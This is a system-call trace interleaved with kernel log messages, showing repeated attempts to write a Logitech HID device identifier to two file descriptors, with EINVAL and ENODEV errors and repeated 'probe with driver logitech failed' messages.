[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.963747][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.976187][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.999051][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.010234][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.024371][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.036687][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.069713][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.092530][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.097092][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.101260][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.113520][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.148035][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.170195][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.193182][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.205325][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.219035][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.230883][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.244052][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.289280][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.333064][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.355315][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.367503][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.411661][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.443602][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.447686][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.481338][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.514038][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 76.520760][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.522835][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.526731][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.550954][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.572042][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.603986][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.625111][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.656644][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.678163][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[ 76.690310][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 76.720770][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.742408][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
